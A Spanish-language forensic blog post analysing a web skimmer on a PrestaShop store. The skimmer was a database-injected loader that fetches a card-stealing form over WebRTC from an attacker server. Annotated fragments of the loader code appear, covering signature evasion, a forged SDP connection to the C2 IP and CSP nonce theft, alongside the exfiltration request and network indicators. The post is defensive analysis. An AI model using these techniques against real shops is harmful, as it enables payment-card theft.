Caso real de análisis forense sobre una tienda PrestaShop 1.7. Todos los datos están anonimizados: no aparece el dominio afectado ni datos de clientes, y el payload se muestra troceado y comentado (no es funcional). Los indicadores de red (IP del C2, huella DTLS) sí se publican porque ayudan a otros defensores.
TL;DR
Una tienda mostraba un formulario de pago falso que robaba tarjetas. Lo raro: el código de ese formulario no estaba en ningún fichero ni en la base de datos. Tras descartar todos los sitios habituales, resultó que había un pequeño loader inyectado en la cabecera (vía la tabla ps_info_lang del módulo ps_customtext) que abría un canal de datos WebRTC contra un servidor del atacante, descargaba el formulario de robo en tiempo de ejecución y lo ejecutaba saltándose la Content-Security-Policy robando el nonce de un <script> legítimo. Como el canal es WebRTC sobre UDP, no pasa por HTTP: ni el WAF ni los logs de acceso lo ven.
1. El síntoma
El aviso del cliente era clásico de web skimming:
«La página carga normal y después se elimina todo lo que hay dentro del
<body>y aparece su formulario de pago. Al rellenarlo, manda los datos por POST a/.»
La petición de exfiltración, capturada en el navegador de una víctima:
POST / · 200 OK
Content-Type: application/x-www-form-urlencoded
Referer: https://tienda-ejemplo/pedido
ccccnum=4242424242424242&exdate=0128&cvvcc=123
Tres campos: número de tarjeta, caducidad y CVV. Suficiente para clonar el pago. El objetivo estaba claro; faltaba encontrar de dónde salía ese formulario.
2. Descarte metódico: todo daba «limpio»
Lo primero, y lo que hace interesante este caso, es que todas las búsquedas estáticas fallaron. Esto no fue tiempo perdido: acotar dónde no está es lo que te lleva a dónde sí está.
Comprobaciones y resultado:
| Comprobación | Resultado |
|---|---|
grep ccccnum / cvvcc / exdate en todo el árbol de ficheros | 0 coincidencias |
| Los mismos campos en el dump de BBDD (1,1 GB) | 0 coincidencias |
| Codificados en base64 / hex en el dump | 0 coincidencias |
Plantilla del paso de pago (payment.tpl) | stock, intacta |
| Contenedor de Google Tag Manager | 0 tags HTML personalizados |
auto_prepend_file / .user.ini | ninguno |
Ficheros .js del tema servidos vs. copia local | idénticos byte a byte |
ps_configuration (inyección de JS común en PrestaShop) | limpio |
atob / eval / _0x en la home descargada en vivo | limpio |
La lección número uno de este post: un escaneo de firmas limpio no es una prueba de que la tienda esté limpia. Si buscas el patrón conocido y no aparece, puede que estés mirando en el sitio equivocado — no que no exista.
La pista que reorienta la investigación: si el formulario no se sirve como HTML y ningún JS del sitio lo contiene, entonces se construye en el navegador en tiempo de ejecución. Para verlo hay que capturar la página real del paso de pago, no leer ficheros.
3. Reproducir el checkout para capturar el payload
El skimmer solo actuaba en el paso de pago. Así que reproduje un checkout completo por HTTP:
- Crear un cliente de prueba.
- Guardar una dirección (esta tienda exige un documento de identidad válido en la dirección — un
UPDATEcon un DNI de checksum correcto desbloqueó el paso). - Confirmar la dirección → se abre el paso de envío.
- Seleccionar transportista y confirmar → se abre el paso de pago.
- Capturar el HTML de ese paso.
En ese HTML, dentro de la cabecera (<div id="custom-text">), apareció un <script> inline de 2.750 bytes que no estaba en ninguna de las páginas anteriores capturadas… aunque en realidad sí estaba en todas: simplemente no lo había buscado por los tokens correctos (usa nombres de API partidos, sin eval ni atob literales).
4. Anatomía del loader
Este es el corazón del post. El script hace cuatro cosas.
4.1 Evadir firmas: nombres de API partidos
// (fragmento anotado, NO funcional)
var W = 'RTC' + 'Peer' + 'Connec' + 'tion', // -> "RTCPeerConnection", nunca aparece entera
V4 = '95.164.123.166', // C2 IPv4
V6 = '2a12:bec4:1460:50::2', // C2 IPv6
PORT = 3479,
FP = '1D:44:58:...:FB', // huella DTLS del C2 (fijada)
SP = '...clientephrase...', // ice-pwd del "servidor" (C2)
CP = '...serverphrase...'; // ice-pwd del cliente
Partir 'RTC'+'Peer'+'Connec'+'tion' es deliberado: cualquier búsqueda de RTCPeerConnection en los ficheros o en el HTML no encuentra la cadena, porque solo existe montada en memoria en tiempo de ejecución. Lo mismo con no usar eval( ni atob( literales.
4.2 Forjar una conexión WebRTC contra el C2
El loader no usa un servidor de señalización: fabrica a mano el SDP answer apuntando a la IP y credenciales del atacante, y fuerza la conexión:
// (fragmento anotado, NO funcional)
p.createOffer().then(function (o) {
o.sdp = o.sdp
.replace(/a=ice-ufrag:.+/g, 'a=ice-ufrag:' + uf)
.replace(/a=ice-pwd:.+/g, 'a=ice-pwd:' + CP);
return p.setLocalDescription(o);
}).then(function () {
// "answer" sintético apuntando directamente al C2:
return p.setRemoteDescription({ type: 'answer', sdp:
'v=0 ... a=ice-pwd:' + SP +
' a=fingerprint:sha-256 ' + FP +
' a=setup:passive m=application ' + PORT + ' UDP/DTLS/SCTP webrtc-datachannel' +
' c=IN ' + af + ' ' + ip + ' a=candidate:... ' + ip + ' ' + PORT + ' typ host'
});
});
El resultado es un DataChannel WebRTC directo navegador ↔ servidor del atacante. Antes hace un sondeo IPv6/IPv4 (probeV6) para elegir familia de direcciones y maximizar la conectividad.
Por qué esto es un salto respecto al skimmer clásico: el skimmer de toda la vida exfiltra por fetch(), XHR o una imagen a un dominio externo. Todo eso es HTTP: deja rastro en los logs y un WAF o una CSP con connect-src lo pueden frenar. WebRTC va por UDP/DTLS-SCTP y no pasa por Cloudflare, Apache ni el WAF de capa 7.
4.3 Recibir y descomprimir el payload
// (fragmento anotado, NO funcional)
d.onmessage = function (e) {
if (e.data === '__EOF__') { run(); return; } // marcador de fin
parts.push(e.data); // acumula trozos
};
// al terminar, si viene comprimido:
new Response(
new Blob(parts).stream().pipeThrough(new DecompressionStream('gzip'))
).text().then(function (code) { exec(code); });
El payload (el formulario de tarjeta real) llega troceado, opcionalmente comprimido con gzip vía DecompressionStream, y se reensambla hasta un marcador __EOF__. Nunca se escribe en disco.
4.4 Ejecutar saltándose la CSP
Aquí está la parte más elegante — y más peligrosa:
// (fragmento anotado, NO funcional)
function exec(c) {
var s = document.createElement('script'), n = document.querySelectorAll('script');
for (var i = 0; i < n.length; i++) {
if (n[i].nonce) { // roba el nonce de un <script> legítimo de la página
s.nonce = n[i].nonce; // ...y lo reutiliza -> la CSP lo acepta
s.textContent = c;
document.head.appendChild(s);
return;
}
}
try { Function(c)(); } catch (e) {} // fallback si no hay nonce
}
Muchos administradores confían en una Content-Security-Policy con nonce para impedir scripts inyectados. Pero si el atacante ya ejecuta JavaScript en la página, puede leer el nonce del DOM y reutilizarlo. El nonce protege contra inyección de HTML, no contra código que ya corre. Esta es la lección número dos: un nonce de CSP no te protege de un script que ya está dentro.
El código recibido es el que borra el <body>, pinta el formulario de pago falso y hace el POST / con la tarjeta. Como se entrega en vivo cada vez, no existe como texto en la web: por eso ningún grep de ficheros o de base de datos lo encuentra.
5. Dónde estaba escondido el loader
El <script> de la cabecera venía de la base de datos:
| Tabla | ps_info_lang, columna text |
| Filas | id_info = 1 en los 5 idiomas (id_lang 1–5) |
| Módulo que lo renderiza | ps_customtext («Bloque de texto personalizado») |
| Cómo llega al HTML | el layout lo pinta con {$…nofilter} → HTML en crudo, sin escapar |
| Dónde aparece | en la cabecera de todas las páginas |
Detalles que lo hacían un buen escondite:
id_info = 1es la fila por defecto del módulo. El atacante no creó nada nuevo: sobrescribió el texto de bienvenida queps_customtexttrae de fábrica. Pasa por contenido legítimo.- Vive en la BBDD, no en ficheros. No está en Git, no lo ve un escáner de ficheros, no aparece en un diff del core.
- Se renderiza con
nofilter. PrestaShop confía en que ese campo lo rellena un administrador, así que no lo escapa: el<script>se sirve tal cual. - Estaba también cacheado en
var/cache/prod/smarty/cache/ps_customtext/..., un directorio que muchos escaneos excluyen por ruido.
6. Indicadores de compromiso (IOC)
C2 IPv4 95.164.123.166
C2 IPv6 2a12:bec4:1460:50::2
Puertos 3478 (sondeo) / 3479 (datos) UDP/DTLS/SCTP
Huella DTLS 1D:44:58:5A:96:F8:16:06:4C:5E:71:8B:AE:FE:35:03:...:FB
Marcador de fin __EOF__ (en el DataChannel)
Firma en código RTCPeerConnection montado como 'RTC'+'Peer'+'Connec'+'tion'
Exfiltración POST / con ccccnum=<pan>&exdate=<mmYY>&cvvcc=<cvv>
Ubicación en BBDD ps_info_lang.text (módulo ps_customtext), renderizado con nofilter
7. Cómo detectarlo y limpiarlo
Detección
- Mira lo que el servidor RENDERIZA, no solo lo que ALMACENA. Descarga el HTML real de las páginas (incluido el paso de pago con carrito) y búscalo ahí.
- Busca en el HTML servido, no en ficheros:
RTCPeerConnectiony su forma partida ('RTC'+'Peer'),createDataChannel,DecompressionStream,setRemoteDescription,ice-pwd,a=fingerprint. - Revisa los campos que PrestaShop pinta con
nofilter:ps_info_lang,ps_configuration, bloques de HTML de módulos, CMS. Compara contra una instalación limpia. - Purga y revisa
var/cache/— puede guardar una copia compilada del payload.
Limpieza (de esta inyección concreta)
-- 1. Vaciar o restaurar el texto legítimo del bloque
UPDATE ps_info_lang SET text = '' WHERE id_info = 1;
SELECT id_lang, LEFT(text, 40) FROM ps_info_lang WHERE id_info = 1; -- verificar
# 2. Purgar la caché (contiene una copia compilada)
rm -rf var/cache/prod/* var/cache/dev/*
# 3. Defensa en profundidad: bloquear salida a los IOC de red en el firewall.
Aviso crítico: limpiar la base de datos quita el skimmer hoy, pero si el atacante mantiene acceso de escritura al servidor (webshells, un módulo con subida arbitraria, un controlador de administración expuesto al front…), reinyectará en cuanto reabras la tienda. El orden correcto es: congelar evidencia → cerrar la vía de entrada → limpiar la BBDD → rotar credenciales → reabrir. Limpiar sin cerrar la entrada es tirar el dinero.
Prevención
- CSP con
connect-srcrestrictivo. No frena a un script ya inyectado que roba elnonce, pero sí limita a dónde puede hablar. Nota: bloquear WebRTC desde CSP requiere directivas de nivel 3 (webrtc) y no todos los navegadores las aplican igual — no te fíes solo de esto. - Permisos de escritura mínimos en el docroot; que
upload/,img/,var/,js/no ejecuten PHP. - No exponer controladores de administración al front ni endpoints que ejecuten SQL sin autenticación.
- Mantener versión. Una tienda en PHP sin soporte y módulos sin parchear es cuestión de tiempo.
8. Lecciones para llevarse
- Limpio en ficheros ≠ limpio. El análisis estático es necesario pero no suficiente. Verifica lo que el servidor entrega al navegador.
- El
noncede CSP no protege de código que ya corre en la página. Protege contra inyección de HTML, no contra un script que ya está dentro y lee el DOM. - WebRTC es un canal C2 real. Rodea WAF y logs porque no es HTTP. Inclúyelo en tu modelo de amenaza y en tu monitorización.
- La base de datos es superficie de ataque. Cualquier campo que se renderice con
nofilteres un punto de inyección persistente que sobrevive a reinstalar ficheros.
Análisis realizado sobre una copia forense (árbol de ficheros + dump de BBDD + logs). Dominio y datos de cliente anonimizados. Publicado con fines defensivos y de concienciación.